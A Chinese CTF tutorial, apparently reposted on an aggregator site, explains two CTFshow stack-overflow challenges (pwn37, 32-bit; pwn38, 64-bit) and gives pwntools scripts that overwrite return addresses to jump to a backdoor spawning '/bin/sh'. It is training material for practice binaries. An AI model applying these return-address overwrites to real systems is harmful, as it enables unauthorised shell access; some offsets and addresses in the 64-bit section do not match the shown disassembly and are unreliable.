当前位置: 首页 > news >正文

CTFshow PWN入门实战:从pwn37到pwn38,手把手教你搞定32位和64位栈溢出后门函数

CTFshow PWN入门实战:32位与64位栈溢出后门函数利用全解析

在CTF竞赛中,PWN题型往往是最能体现二进制安全实战能力的环节。对于初学者而言,掌握栈溢出基础和后门函数利用是打开PWN大门的钥匙。本文将以CTFshow平台的pwn37(32位)和pwn38(64位)两道典型题目为例,带你从零开始构建完整的解题思路。

1. 栈溢出基础与后门函数原理

栈溢出漏洞的本质是程序对用户输入长度缺乏有效校验,导致数据覆盖了栈上的关键信息。当攻击者精心构造输入覆盖返回地址时,就能劫持程序执行流程。而后门函数则是开发者有意或无意留下的"捷径"——通常包含直接获取系统权限的代码片段。

关键概念对比

特性32位程序64位程序
寄存器架构eip/esp/ebprip/rsp/rbp
函数调用约定参数通过栈传递前六个参数通过寄存器传递
返回地址覆盖覆盖4字节eip覆盖8字节rip
典型栈结构[局部变量][ebp][eip][局部变量][rbp][rip]

在实战中,我们需要重点关注三个核心步骤:

  1. 确定溢出点偏移量
  2. 定位后门函数地址
  3. 构造符合架构特性的payload

2. pwn37解题详解:32位栈溢出实战

2.1 程序分析与漏洞定位

首先使用checksec检查程序保护机制:

checksec pwn37 [*] '/tmp/pwn37' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

关键发现:

  • 32位架构(i386)
  • 未启用栈保护(No canary)
  • 未启用地址随机化(No PIE)

使用IDA Pro反编译后,在main函数中发现调用了ctfshow()函数。跟进该函数可见明显的栈溢出漏洞:

char buf[10]; // 实际缓冲区大小可能更大 gets(buf); // 危险函数,不检查输入长度

2.2 偏移量计算与后门定位

通过IDA的栈帧分析,确定buf到返回地址的偏移为0x12(局部变量) + 4(ebp) = 22字节。使用Shift+F12查找字符串,发现存在"/bin/sh",进一步分析找到后门函数:

void backdoor() { system("/bin/sh"); }

函数地址为0x8048521,这就是我们需要跳转的目标。

2.3 构造并发送payload

32位payload构造相对简单,只需覆盖返回地址即可:

from pwn import * context(arch='i386', os='linux') p = remote('pwn.challenge.ctf.show', 28146) payload = b'A'*22 + p32(0x8048521) p.sendline(payload) p.interactive()

关键点说明

  • b'A'*22填充缓冲区到返回地址前
  • p32()将地址打包为小端序32位格式
  • 连接后直接获得shell,可执行任意命令

3. pwn38深度解析:64位栈溢出特殊处理

3.1 64位程序特性分析

检查程序基本信息:

checksec pwn38 [*] '/tmp/pwn38' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

与32位的主要差异:

  • 使用RIP而非EIP(8字节地址)
  • 函数调用时前六个参数通过寄存器传递
  • 需要保持栈对齐(16字节边界)

3.2 堆栈平衡问题解析

64位环境下直接跳转后门函数可能导致崩溃,因为system函数需要栈对齐。解决方案是增加一个ret指令调整栈指针:

.text:0000000000400657 backdoor proc near .text:0000000000400657 push rbp .text:0000000000400658 mov rbp, rsp .text:000000000040065B lea rdi, command ; "/bin/sh" .text:0000000000400662 call system .text:0000000000400667 pop rbp .text:0000000000400668 retn

可选方案:

  1. 跳转到0x40065B(lea rdi指令处)
  2. 跳转到0x40066D(函数末尾retn)

3.3 两种payload构造方案

方案一:使用中间指令地址

payload = b'A'*(0xA+8) + p64(0x40065B) + p64(0x400657)

方案二:使用函数末尾retn

payload = b'A'*(0xA+8) + p64(0x40066D) + p64(0x400657)

两种方案都能确保执行system时栈指针正确对齐。实际测试中,第一种方案成功率更高,因为避免了可能的多余栈操作。

4. 从题目到方法论:通用解题框架

基于这两道题,我们可以总结出栈溢出后门利用的通用流程:

  1. 程序检查阶段

    • 使用checksec确认保护机制
    • file命令确认架构位数
    • strings查找可疑字符串
  2. 静态分析阶段

    • IDA/Ghidra反编译定位漏洞点
    • 计算精确偏移量(gdb调试验证)
    • 搜索后门函数/敏感字符串
  3. payload构造阶段

    • 32位:偏移 + 后门地址
    • 64位:偏移 + 栈调整gadget + 后门地址
    • 考虑添加nop sled提高稳定性
  4. 动态调试技巧

    • gdb-peda的pattern create/offset
    • 在关键地址下断点(b *0x400657)
    • 观察寄存器状态(info registers)

对于想进一步深入的学习者,建议在本地用gdb调试这两种payload,观察执行过程中栈和寄存器的变化差异。比如在64位环境下,可以重点关注rdi寄存器的赋值时机和rsp的对齐状态。

http://www.jsqmd.com/news/940754/

相关文章:

  • MATLAB小车绕障路径规划全套代码包(含可视化仿真与模块化函数)
  • 回溯法-N皇后
  • 云服务智能监控实战:从数据采集到AI辅助根因分析
  • 基于STM32F407的单通道便携示波器源码:支持继电器程控增益、LCD实时波形显示与串口数据导出
  • ESP32-S3 + PCA9685 驱动16路舵机:从Arduino库移植到ESP-IDF的完整实战(附避坑指南)
  • 苏州大学与阿里云计算联手:用“技能手册“让AI情感陪护员越练越强
  • 从STM32转GD32:手把手教你用GD32E230C8T6点亮第一个LED(附完整代码)
  • 拒绝安全审计背锅:GitHub Actions 自动化漏洞排查与合规修复实战
  • 从零到物联网:用ESP32-C3和PlatformIO搭建你的第一个无线传感节点(含环境配置避坑指南)
  • 批量查公司员工LinkedIn公开资料的Python工具包
  • 从Stable Diffusion到Sora:一文读懂DiT中的adaLN-Zero如何成为扩散模型的新宠
  • 大规模多项式系统数值解认证:基于BSP树与迭代器的低内存框架
  • 周口市2026年黄金回收白银回收铂金回收门店指南 五家诚信店铺排行榜+联系方式电话推荐 - 大熊猫898989
  • 第一份合同里的“提前解约条款”:留学生如何规避高额违约金雷区「蒸汽求职分享」
  • 三亚全屋定制公司服务流程与核心环节解析
  • 别再傻傻输验证码了!用BurpSuite Intruder模块,5分钟搞定登录表单的批量测试
  • 别再让RAG乱翻资料库了!手把手教你用Self-RAG让大模型学会‘自我反思’
  • 别再只会画流程图了!用Visio画电路图和波形图的保姆级教程(附元件库)
  • 国标GB28181视频监控联网平台EasyGBS打破AI落地“最后一公里”
  • 敬老院人员定位系统:高精度技术架构赋能智慧养老安防升级
  • 构建上下文感知搜索系统:从原理到实践,提升信息检索效率
  • 告别波形畸变:用STM32F4高级定时器的Repetition Counter功能优化SPWM生成
  • Typora写作界面美化套装:30+款实测可用深色/浅色/个性CSS主题合集
  • 数据库安全前沿:从零信任到同态加密的攻防演进与实战部署
  • 珠海市2026年黄金回收白银回收铂金回收门店指南 五家诚信店铺排行榜+联系方式电话推荐 - 大熊猫898989
  • 阴阳师自动化脚本终极指南:如何5分钟解放双手轻松游戏
  • Anthropic 融资 650 亿美元估值超 OpenAI,专注 coding 策略能否持续领先?
  • 别再写“fix bug”了!团队 Git 提交规范,从入门到自动强制执行
  • [SWPUCTF 2021 新生赛]babyrce
  • 别再为PDF识别发愁了!LayoutLMv3-base-chinese模型推理保姆级教程,从环境到结果一键搞定